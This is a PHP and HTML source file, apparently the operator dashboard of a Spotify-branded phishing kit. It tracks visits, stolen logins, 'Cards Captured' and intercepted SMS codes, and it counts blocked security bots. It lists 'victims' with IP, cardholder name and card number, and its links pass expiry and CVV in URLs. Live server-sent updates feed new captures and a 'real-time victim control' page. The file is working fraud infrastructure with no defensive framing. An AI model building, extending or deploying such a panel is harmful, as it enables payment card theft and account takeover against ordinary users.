<?php
/**
 * Spotify Panel Pro - Professional Dashboard with Real-Time Updates
 * Modern interface with SSE, advanced analytics, and live monitoring
 */

require_once 'auth.php';
require_once __DIR__ . '/../includes/Cache.php';
require_once __DIR__ . '/../includes/AntiBot.php';
require_once __DIR__ . '/../includes/Analytics.php';

$stats = Analytics::getStats();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dashboard - Spotify Panel Pro</title>
    <link rel="icon" href="https://www.scdn.co/i/_global/favicon.png">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
            background: linear-gradient(135deg, #1e3c72 0%, #1e3c72 1%, #2a5298 100%);
            color: #fff;
            min-height: 100vh;
            padding: 20px;
        }
        
        .container { max-width: 1400px; margin: 0 auto; }
        
        .header {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 20px 30px;
            border-radius: 15px;
            margin-bottom: 30px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 15px;
        }
        
        .header h1 {
            font-size: 28px;
            display: flex;
            align-items: center;
            gap: 15px;
            flex-wrap: wrap;
        }
        
        .header .logo {
            width: 40px;
            height: 40px;
            background: #1ed760;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
        }
        
        .active-badge {
            display: inline-block;
            padding: 5px 15px;
            background: rgba(255,255,255,0.2);
            border-radius: 20px;
            font-size: 12px;
            transition: all 0.3s;
        }
        
        .nav-links {
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
        }
        
        .nav-links a {
            color: #fff;
            text-decoration: none;
            padding: 10px 20px;
            background: rgba(255,255,255,0.1);
            border-radius: 25px;
            transition: all 0.3s;
            font-size: 14px;
        }
        
        .nav-links a:hover {
            background: #1ed760;
            transform: translateY(-2px);
        }
        
        .stats-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        
        .stat-card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 15px;
            border: 1px solid rgba(255,255,255,0.2);
            transition: transform 0.3s;
        }
        
        .stat-card:hover {
            transform: translateY(-5px);
        }
        
        .stat-card .icon {
            font-size: 36px;
            margin-bottom: 10px;
        }
        
        .stat-card .label {
            font-size: 14px;
            opacity: 0.8;
            margin-bottom: 5px;
        }
        
        .stat-card .value {
            font-size: 32px;
            font-weight: bold;
            color: #1ed760;
            transition: transform 0.2s;
        }
        
        .quick-actions {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        
        .action-card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 15px;
            border: 1px solid rgba(255,255,255,0.2);
            text-align: center;
            cursor: pointer;
            transition: all 0.3s;
            text-decoration: none;
            color: #fff;
            display: block;
        }
        
        .action-card:hover {
            background: rgba(30, 215, 96, 0.2);
            transform: translateY(-5px);
        }
        
        .action-card .icon {
            font-size: 48px;
            margin-bottom: 15px;
        }
        
        .action-card .title {
            font-size: 18px;
            font-weight: bold;
            margin-bottom: 10px;
        }
        
        .action-card .description {
            font-size: 14px;
            opacity: 0.8;
        }
        
        .victims-section {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 15px;
            border: 1px solid rgba(255,255,255,0.2);
        }
        
        .victims-section h2 {
            margin-bottom: 20px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .victims-table {
            width: 100%;
            border-collapse: collapse;
            overflow-x: auto;
            display: block;
        }
        
        .victims-table thead {
            background: rgba(255,255,255,0.1);
        }
        
        .victims-table th,
        .victims-table td {
            padding: 15px;
            text-align: left;
            border-bottom: 1px solid rgba(255,255,255,0.1);
        }
        
        .victims-table tbody tr {
            transition: background 0.3s;
        }
        
        .victims-table tbody tr:hover {
            background: rgba(255,255,255,0.05);
        }
        
        .action-btn {
            background: #1ed760;
            color: #000;
            padding: 8px 16px;
            border-radius: 20px;
            text-decoration: none;
            font-size: 12px;
            font-weight: bold;
            transition: all 0.3s;
            display: inline-block;
        }
        
        .action-btn:hover {
            background: #1db954;
            transform: scale(1.05);
        }
        
        @keyframes pulse {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.7; }
        }
        
        @media (max-width: 768px) {
            .stats-grid {
                grid-template-columns: repeat(2, 1fr);
            }
            .quick-actions {
                grid-template-columns: 1fr;
            }
            .header {
                flex-direction: column;
                align-items: flex-start;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Header -->
        <div class="header">
            <h1>
                <div class="logo">🎵</div>
                <span>Spotify Panel Pro</span>
                <span class="active-badge" id="activeBadge">0 Active Now</span>
            </h1>
            <div class="nav-links">
                <a href="analytics.php">📊 Analytics</a>
                <a href="victims.php">👥 Victims</a>
                <a href="panel.php">🎛️ Control</a>
                <a href="settings.php">⚙️ Settings</a>
                <a href="logout.php">🚪 Logout</a>
            </div>
        </div>
        
        <!-- Statistics -->
        <div class="stats-grid">
            <div class="stat-card">
                <div class="icon">👁️</div>
                <div class="label">Total Visits</div>
                <div class="value" data-stat="total_visits"><?= number_format($stats['total_visits']) ?></div>
            </div>
            <div class="stat-card">
                <div class="icon">🔐</div>
                <div class="label">Total Logins</div>
                <div class="value" data-stat="total_logins"><?= number_format($stats['total_logins']) ?></div>
            </div>
            <div class="stat-card">
                <div class="icon">💳</div>
                <div class="label">Cards Captured</div>
                <div class="value" data-stat="total_cards"><?= number_format($stats['total_cards']) ?></div>
            </div>
            <div class="stat-card">
                <div class="icon">📱</div>
                <div class="label">SMS Codes</div>
                <div class="value" data-stat="total_sms"><?= number_format($stats['total_sms']) ?></div>
            </div>
            <div class="stat-card">
                <div class="icon">🚫</div>
                <div class="label">Bots Blocked</div>
                <div class="value" data-stat="total_blocked"><?= number_format($stats['total_blocked']) ?></div>
            </div>
            <div class="stat-card">
                <div class="icon">📈</div>
                <div class="label">Conversion Rate</div>
                <div class="value" data-stat="conversion_rate"><?= $stats['conversion_rate'] ?>%</div>
            </div>
        </div>
        
        <!-- Quick Actions -->
        <div class="quick-actions">
            <a href="analytics.php" class="action-card">
                <div class="icon">📊</div>
                <div class="title">Advanced Analytics</div>
                <div class="description">View detailed charts and statistics</div>
            </a>
            <a href="victims.php" class="action-card">
                <div class="icon">👥</div>
                <div class="title">All Victims</div>
                <div class="description">Manage and view all captured data</div>
            </a>
            <a href="panel.php" class="action-card">
                <div class="icon">🎛️</div>
                <div class="title">Control Panel</div>
                <div class="description">Real-time victim control</div>
            </a>
            <a href="settings.php" class="action-card">
                <div class="icon">⚙️</div>
                <div class="title">Settings</div>
                <div class="description">Configure panel settings</div>
            </a>
        </div>
        
        <!-- Recent Victims -->
        <div class="victims-section">
            <h2>
                <span>🎯 Recent Card Captures</span>
                <span style="font-size: 14px; opacity: 0.8;">Last 5 captures</span>
            </h2>
            <table class="victims-table">
                <thead>
                    <tr>
                        <th>Country</th>
                        <th>IP Address</th>
                        <th>Cardholder</th>
                        <th>Card Number</th>
                        <th>Time</th>
                        <th>Actions</th>
                    </tr>
                </thead>
                <tbody id="victimsTableBody">
                    <?php foreach (array_slice($stats['recent_victims'], 0, 5) as $victim): ?>
                    <tr>
                        <td><?= $victim['flag'] ?> <?= htmlspecialchars($victim['country']) ?></td>
                        <td><?= htmlspecialchars($victim['ip']) ?></td>
                        <td><?= htmlspecialchars($victim['name']) ?></td>
                        <td><?= htmlspecialchars($victim['card']) ?></td>
                        <td><?= htmlspecialchars($victim['time']) ?></td>
                        <td>
                            <a href="scan/index.php?ccn=<?= urlencode($victim['card']) ?>&cch=<?= urlencode($victim['name']) ?>&exp=<?= urlencode($victim['expiry']) ?>&cvv=<?= urlencode($victim['cvv']) ?>" 
                               target="_blank" 
                               class="action-btn">
                                🔍 View Card
                            </a>
                        </td>
                    </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        </div>
    </div>
    
    <!-- Real-Time Updates with SSE -->
    <script>
        let eventSource = null;
        let reconnectAttempts = 0;
        const maxReconnectAttempts = 5;
        
        function connectSSE() {
            if (eventSource) {
                eventSource.close();
            }
            
            eventSource = new EventSource('sse.php');
            
            eventSource.onmessage = function(event) {
                try {
                    const data = JSON.parse(event.data);
                    
                    if (data.error) {
                        console.error('SSE Error:', data.error);
                        return;
                    }
                    
                    if (data.stats) {
                        updateStats(data.stats);
                    }
                    
                    if (data.recent_victims) {
                        updateRecentVictims(data.recent_victims);
                    }
                    
                    if (data.active_count !== undefined) {
                        updateActiveCount(data.active_count);
                    }
                    
                    reconnectAttempts = 0;
                    
                } catch (e) {
                    console.error('Error parsing SSE data:', e);
                }
            };
            
            eventSource.onerror = function(error) {
                console.error('SSE Connection error:', error);
                eventSource.close();
                
                if (reconnectAttempts < maxReconnectAttempts) {
                    reconnectAttempts++;
                    console.log(`Reconnecting... Attempt ${reconnectAttempts}/${maxReconnectAttempts}`);
                    setTimeout(connectSSE, 5000 * reconnectAttempts);
                } else {
                    console.log('Max reconnection attempts reached. Falling back to page refresh.');
                    setTimeout(() => location.reload(), 30000);
                }
            };
            
            eventSource.onopen = function() {
                console.log('SSE Connection established');
            };
        }
        
        function updateStats(stats) {
            const statElements = {
                'total_visits': stats.total_visits,
                'total_logins': stats.total_logins,
                'total_cards': stats.total_cards,
                'total_sms': stats.total_sms,
                'total_blocked': stats.total_blocked,
                'conversion_rate': stats.conversion_rate + '%'
            };
            
            for (const [key, value] of Object.entries(statElements)) {
                const element = document.querySelector(`[data-stat="${key}"]`);
                if (element) {
                    element.style.transform = 'scale(1.1)';
                    element.textContent = typeof value === 'number' ? value.toLocaleString() : value;
                    setTimeout(() => {
                        element.style.transform = 'scale(1)';
                    }, 200);
                }
            }
        }
        
        function updateRecentVictims(victims) {
            const tbody = document.getElementById('victimsTableBody');
            if (!tbody || victims.length === 0) return;
            
            tbody.innerHTML = '';
            
            victims.forEach(victim => {
                const row = document.createElement('tr');
                row.innerHTML = `
                    <td>${victim.flag} ${escapeHtml(victim.country)}</td>
                    <td>${escapeHtml(victim.ip)}</td>
                    <td>${escapeHtml(victim.name)}</td>
                    <td>${escapeHtml(victim.card)}</td>
                    <td>${escapeHtml(victim.time)}</td>
                    <td>
                        <a href="scan/index.php?ccn=${encodeURIComponent(victim.card)}&cch=${encodeURIComponent(victim.name)}&exp=${encodeURIComponent(victim.expiry)}&cvv=${encodeURIComponent(victim.cvv)}" 
                           target="_blank" 
                           class="action-btn">
                            🔍 View Card
                        </a>
                    </td>
                `;
                tbody.appendChild(row);
            });
        }
        
        function updateActiveCount(count) {
            const badge = document.getElementById('activeBadge');
            if (badge) {
                badge.textContent = `${count} Active Now`;
                if (count > 0) {
                    badge.style.background = '#1ed760';
                    badge.style.animation = 'pulse 2s infinite';
                } else {
                    badge.style.background = 'rgba(255,255,255,0.2)';
                    badge.style.animation = 'none';
                }
            }
        }
        
        function escapeHtml(text) {
            const div = document.createElement('div');
            div.textContent = text;
            return div.innerHTML;
        }
        
        // Connect SSE on page load
        connectSSE();
        
        // Cleanup on page unload
        window.addEventListener('beforeunload', function() {
            if (eventSource) {
                eventSource.close();
            }
        });
        
        // Fallback: Full page refresh every 5 minutes
        setTimeout(() => location.reload(), 300000);
    </script>
</body>
</html>
